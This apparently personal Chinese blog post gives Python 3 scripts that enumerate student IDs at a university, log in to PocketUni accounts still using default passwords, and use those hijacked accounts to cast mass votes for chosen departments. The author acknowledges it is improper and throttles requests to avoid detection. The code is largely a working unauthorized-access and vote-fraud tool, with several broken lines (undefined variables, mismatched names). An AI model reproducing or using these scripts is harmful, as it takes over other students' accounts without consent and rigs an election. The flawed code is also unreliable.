前言：因为班级参加学校一些活动在PU上举办，但是又不想接受这种推广，遂花几天用python3写了个自动投票，想学习的可以一起探讨下，但是这个代码恐怕不写python的人也用不了。。。
写博客主要为了给自己做笔记，省得老忘记实现过程
准备工作：学校各学院的学号加初始密码，总有一些宝宝用初始密码，而学号直接推倒就可得出。
要实现的东西：1、实现自动登录，从大量学号中跑出可登录的学号（使用初始密码的用户）并保存留用；2、利用这些学号根据投票活动选择出要投票的学院的PID；3、模仿JS点击事件投票。
鉴于这也不算很正当行为，防止给PU服务器造成负担，爬虫每天尽量慢尽量少的访问PU服务器。。。也是防止被人发现刷票
批量生成学号：
# huoqunumber.py 用于创建number初始列表 # 保存在startnumber.txt里面import osfileObject = open("startnumber.txt", "a")numberIn = [15040100, 15040200, 15040500, 15040700, 15040900, 15040300, 15040400, 15040600, 15040800]for i in range(0, 1): for x in range(1,39): numberIn[i] = numberIn[i] + 1 numberOut = "B" + str(numberIn4[i]) fileObject.write(numberOut) # fileObject.write("/n")fileObject.close()这部分主要就是I/O流的操作，number数组存放各学院班级的第一个学号，依次生成整个院的学号并保存待用。
爬虫尝试登陆PU并保存可以登录的账号：
#numbersaved.py 用于获取可登录number列表# 保存在numberSaved.txtimport requestsimport urllib.requestimport reimport configparserfrom pPRint import pprintfrom bs4 import BeautifulSoup # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'} # 浏览器头headers = {'User-Agent': 'Mozilla/5.0 (iphone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'} #手机headers# 拿到不断更新的hashdef getHash(): firstURL = "http://pocketuni.net/njupt/login/" request = urllib.request.Request(firstURL, headers=headers) response = urllib.request.urlopen(request) content = response.read() pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S) __hash__ = pattern.findall(str(content, encoding = "utf-8")) return __hash__[0]# 登录并返回cookieLendef create_session(loginURL, data): session = requests.session() login = session.post(loginURL, loginData, headers=headers) cookiesLen = len(login.cookies) print(login.cookies) return session, cookiesLenif __name__ == '__main__': count = 0 # 统计拿到多少可用账号 loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt" file_object = open('B140413.txt', 'r') file_number = open("B140413login.txt", "a") file_nonumber = open("B140413nologin.txt", "a") school = "南京邮电大学" sid = "592" passWord = "123456" login = "登 录" while True: # 按字节读文件 try: number = file_object.read(9) print(type(number)) __hash__ = getHash() loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]} session,cookiesLen = create_session(loginUrl, loginData) print(cookiesLen) if cookiesLen == 0: # 通过判断cookieLen得知是否登录成功 print(cookiesLen) file_number.write(number + "/n") count += 1 except Exception as e: print(e) if not number: break file_object.close() file_number.close() print("登录了" + str(count) + "个number！") 这里写代码片登录部分主要是从上一步骤中拿到的文件中按字符读取学号，并带上浏览器的头headers向form表单post登录所需信息
loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]}难点一：其中hash是为了防止恶意爬取做的随机数，每次刷新网页就会更新，所以首先要解决的就是动态获取hash的值，方法： 拿到登录页面的html并正则匹配出hash的值并返回，这个时候要注意的就是拿到的html是字节流，也就是所谓的乱码，我们要进行转换成str，然后才可以进行匹配，如果这里有疑惑可以查看此处：python3 decode与encode
http://www.cnblogs.com/tingyugetc/p/5727383.html
pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S)__hash__ = pattern.findall(str(content, encoding = "utf-8"))难点二：如何判断是否登录成功。最开始我以为只要拿到状态码200即是登录成功，其实只要对方服务器进行回应那就是200了，所以这个方法显然不能证明成功登陆了，后来发现登录成功与否拿到的cookie的长度是不一样的，当cookieLen=0的时候是成功登陆否则是不成功。
登录：
session = requests.session()login = session.post(loginURL, loginData, headers=headers)获取cookieLen：
cookiesLen = len(login.cookies)判断一下cookieLen，若为0则证明可以登录保存下来。
接下来是模仿JS发送投票请求（PU要求没人投满六个才算数）
# pachong.pyimport requestsimport urllib.requestimport reimport configparserfrom pprint import pprintfrom bs4 import BeautifulSoup # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'}headers = {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'}def getHash(): firstURL = "http://pocketuni.net/njupt/login/" request = urllib.request.Request(firstURL, headers=headers) response = urllib.request.urlopen(request) content = response.read() pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S) __hash__ = pattern.findall(str(content, encoding = "utf-8")) return __hash__[0]def create_session(loginURL, data): session = requests.session() login = session.post(loginURL, loginData, headers=headers) print(login.cookies) return session# 投票函数def toupiao(toupiaoUrl, session, toupiaoData): login = session.post(toupiaoUrl, toupiaoData, headers = headers) return login.cookiesif __name__ == '__main__': count = 0 loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt" file_object = open('numbersaved.txt', 'rb') school = "南京邮电大学" sid = "592" password = "111111" login = "登 录" toupiaoUrl = "http://njupt.pocketuni.net/index.php?app=event&mod=Front&act=vote" pids = ["98359", "99982", "99957", "99420", "93253", "98681"] while True: try: number = file_object.read(9) __hash__ = getHash() loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]} session = create_session(loginUrl, loginData) for pid in pids: toupiaoData = {'id':idd, 'pid':pid} toupiao(toupiaoUrl, session, toupiaoData) except Exception as e: print(e) count+=1 if not number: break file_object.close() print("投票数：" + str(count))此处发送登录请求与huoqunumber.py是相同的，此处读取的账号列表是huoqunumber.py得到的可登录列表。
向toupiaourl页面的form表单带headers发送数据：
login = session.post(toupiaoUrl, toupiaoData, headers = headers)因为要投票满6个院，所以遍历pid，此处的pid则是学院的唯一标识，一定要找到自己的学院并右键检查拿到pid放入列表中！
for pid in pids: toupiaoData = {'id':idd, 'pid':pid} toupiao(toupiaoUrl, session, toupiaoData)重要的三个py文件已经贴出，使用顺序：
huoqunumber.py --> numbersaved.py --> pachong.pyhuoqunumber.py得到的初始化学号，numbersaved.py利用其得到可以登录的学号（即初始化密码没有修改的同学），pachong.py利用numbersaved.py拿到的可登录账号登陆并进行投票。
结语：当时三天的纠结忘记的差不多了，就记得几个重要的点，代码也是随时想到哪里写到哪里凌乱的不行。。。
新闻热点
疑难解答
